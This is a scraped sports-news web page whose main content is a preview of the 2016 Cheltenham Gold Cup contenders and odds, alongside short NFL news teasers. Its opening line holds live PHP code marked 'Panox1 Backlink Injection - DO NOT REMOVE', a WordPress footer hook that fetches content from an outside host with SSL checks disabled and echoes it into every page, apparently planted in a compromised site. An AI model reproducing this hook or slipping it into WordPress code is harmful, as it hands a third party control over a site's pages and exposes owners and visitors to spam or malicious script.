// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 The big question: who will win the Gold Cup? – Next Sports News
Football

Jets star Brandon Marshall wins civil assault suit

Mark Lennihan/AP Brandon Marshall left the courthouse once the case went to the jury and did not return, so he was not in the room when the verdict was read. Jets wide receiver Brandon Marshall won the civil suit levied against him by a California woman in Manhattan federal court for assault and battery on Friday. Christin Myles, who accused Marshall of punching her in the face outside the Marquee nightclub on Mar. 11, 2012, sought at least $75,000 in damages for her medical expenses and her pain and suffering. The jury deliberated for just over an hour before

Football

D’Brickashaw Ferguson thanks fans in retirement letter

Kathy Willens/AP D’Brickashaw Ferguson says that a desire ‘to pursue other goals in life’ led him to retire. D’Brickashaw Ferguson formally announced his retirement Saturday morning in a letter posted on the team’s official website. The three-time Pro Bowl left tackle never missed a snap due to injury in his 10-year career. He’ll be honored in the team’s Ring of Honor one day. His thank you letter to fans, teammates, etc. is below: My Fans, As I considered the words I would say to you, I recognize a simple truth: It just isn’t easy saying goodbye. MEHTA: FERGUSON RETIREMENT

Football

Myers: Ferguson leaving money, saving health in retirement

Maddie Meyer/Getty Images While he spoke candidly about concussions in December, D’Brickashaw Ferguson was never diagnosed with one in his 10-year career. D’Brickashaw Ferguson is 32 years old and played 10 years in the NFL and the only snap he missed in his career came on a trick play. So, he is not part of the epidemic of young players in the last two years who are getting out of the NFL early rather than risk brain injury, even though it’s before they max out on their earnings potential. Ferguson made $67 million with the Jets and never was

Football

Jets trade for Broncos' Ryan Clady to replace D’Brickashaw

Kathy Willens/AP Broncos offensive lineman Ryan Clady blocks for Knowshon Moreno. That was fast. On the same day D’Brickashaw Ferguson made his retirement official, the Jets traded for his replacement, dealing for former Broncos tackle Ryan Clady, according to a source. Gang Green is giving up a 2016 fifth-round pick in exchange for the tackle and will also receive a 2016 seventh-rounder, according to a source. Those are the same terms the Jets struck with the Bears a year ago in a deal for wide receiver Brandon Marshall. Clady, a four-time Pro Bowler, started 16 games in 2014 for

Football

Advocate blasts Greg Hardy’s clueless, harmful stance

Ric Tapia/AP Greg Hardy denies ever assaulting women in an interview he did with ESPN’s Adam Schefter. Domestic violence experts responded with dismay Tuesday to disgraced football star Greg Hardy’s claim in an ESPN interview that violence against women is “nonexistent in most southern homes.” “Domestic violence does not discriminate, it impacts every race, geographic region, educational background,” Katie Ray-Jones, the CEO of the National Domestic Violence Hotline, tells the Daily News. “It knows no boundaries. It’s a reg resilient issue that people don’t talk about.” Hardy, who was suspended four games last season over evidence that he battered

Home
The big question: who will win the Gold Cup?
Horse Racing

The big question: who will win the Gold Cup?

On 

[ad_1]

Nico de Boinville and Coneygree after the Cheltenham Gold CupConeygree will not be winning this year’s Gold Cup but who will?   PICTURE: Edward Whitaker (racingpost.com/photos)  

 By Mark Scully 6:01PM 11 MAR 2016 

AS RACEGOERS streamed away from Prestbury Park at the conclusion of last year’s Cheltenham Festival, thoughts were already turning to what a special Gold Cup the 2016 renewal could be.

We may have lost the reigning champion Coneygree from the equation but next week’s race looks set to live up to those lofty expectations, with one of the strongest fields in recent memory set to line up.

With the stage set, all that remains is to decipher the puzzle and find the winner. Who will write their name into racing history?

Don Cossack
Best price: 9-2

Last season’s highest-rated horse in training has suffered only one setback this year, falling at the penultimate fence in the King George on at Kempton on Boxing Day.

There are plenty who believe he would have gone on to beat Cue Card that day and he got back on track with a comfortable success in the Grade 2 Kinloch Brae Chase at Thurles in January.

The big moment

The Gordon Elliott-trained nine-year-old emerged as a major candidate for this season’s top staying chase prizes when he dished out a brutal 26-length beating to Cue Card in last year’s Grade 1 Melling Chase.

He was installed as a general 8-1 shot for the King George but was still available at 20-1 for the Gold Cup, odds that have done nothing but tumble since.

Vautour (Ruby Walsh) win the JLT novices Chase

Vautour was breathtaking when winning last year’s JLT Novices’ Chase

  PICTURE: Edward Whitaker (racingpost.com/photos)  

Vautour
Best price: 11-2

Will he or won’t he? The question of whether Vautour will see out the extended 3m2f of the Gold Cup has been debated all season but connections are keen to take their chance.

His defeat in the King George was an agonising one, as he was reached in the shadow of the post by Cue Card having travelled into the straight looking all over the winner.

While question marks remain over his stamina, there can be no doubting his class, his stunning JLT Novices’ Chase success last year coming 12 months after he took the Supreme Novices’ Hurdle.

The big moment

Vautour was simply electric in last year’s JLT, putting in one of the most exhilarating rounds of jumping you could ever wish to see. He was put straight into the Gold Cup market at around 6-1.

Cue Card
Best price: 11-2

There would surely be few more popular winners all week than Cue Card, who has been at the height of his powers for Colin Tizzard this season.

A winner of the Champion Bumper many moons ago, Cue Card now looks every inch a Gold Cup contender and do not forger, he is chasing the Jockey Club’s £1 million bonus, having landed the Betfair Chase and King George en route to Cheltenham this season.

The big moment

Stan James went 5-1 for the Gold Cup in the aftermath of his Kempton success, the defining moment of Cue Card’s career to date, finally claiming the Boxing Day feature at the fourth time of asking.

Don Poli (Bryan Cooper)

The dour stayer Don Poli looks set to relish the 3m2f of the Gold Cup

  PICTURE: Patrick McCann (racingpost.com/photos)  

Don Poli
Best price: 11-2

He might not be pretty but he is extremely effective. Like Vautour, Don Poli is chasing a festival hat-trick, having won the Martin Pipe and RSA Chase in the last two years.

On ratings, he has it all to do but it is the unique nature of the Gold Cup test that gives many the confidence he will improve markedly. He is the ultimate grinder and it is hard to imagine him not being on the premises at the business end of the race.

The big moment

His win in last year’s RSA Chase was the quintessential Don Poli performance and he remained, at that stage, undefeated over fences. Ladbrokes went 10-1 for the Gold Cup in the aftermath, a price that dud not last very long at all.

Djakadam
Best price: 11-2

There was a moment there when it looked as though Djakadam was going to catch Coneygree and win last year’s Gold Cup. Of the leading contenders, he is the only one bringing solid Gold Cup form to the equation but he has to overcome a last-start fall in the BetBright Trial Cotswold Chase in January.

At only seven, he surely has more to give though and despite the likelihood of last year’s partner Ruby Walsh opting to ride Vautour, he should not be overlooked.

The big moment

Having been available throughout the year at around 50-1 and being sent off a 10-1 shot on the day,  Djakadam ran a stormer in last year’s Gold Cup and only a performance for the ages from Coneygree denied the exciting young stayer. He was as short as 8-1 with bet365 for this year’s race within days of that effort.

Smad Place

Smad Place put in one of the displays of the season in the Hennessy

  PICTURE: Edward Whitaker (racingpost.com/photos)  

Smad Place
Best price: 12-1

Like Cue Card, the 2015-16 season has been a coming-of-age affair for Smad Place, the hugely popular Alan King-trained grey. He has been in fine form this season and claimed the BetBright Trial Cotswold Chase most recently, defeating the Grand National hero Many Clouds.

He may have a bit to find on form with the best of them but if Smad Place was able to dictate terms up front on good ground, the game nine-year-old could take some pegging back.

The big moment

Smad Place’s win in the Hennessy at Newbury was a special performance that ignited the early part of the season. He jumped with real relish and drew away to a 12 length victory, confirming himself a genuine stayer. The 16-1 offered about the Gold Cup afterwards made some appeal.

Graeme Rodway’s verdict

Don Poli has been unimpressive in two victories this season and made hard work of beating inferior opposition at Leopardstown last time, but he still won and that took his strike-rate to eight wins from 12 starts. The type who does only just enough, he was similarly unimpressive when beating Apache Stronghold at Leopardstown in his prep-run for last year’s RSA Chase yet still ran away with the big one by six lengths, taking his festival record to two from two. The better race he is in, the better he will be and strong stayers of this type have an excellent record in the Gold Cup.

Go to racingpost.com/freebets for the latest bookmaker offers

 

[ad_2]

Source link

Related Posts

Reply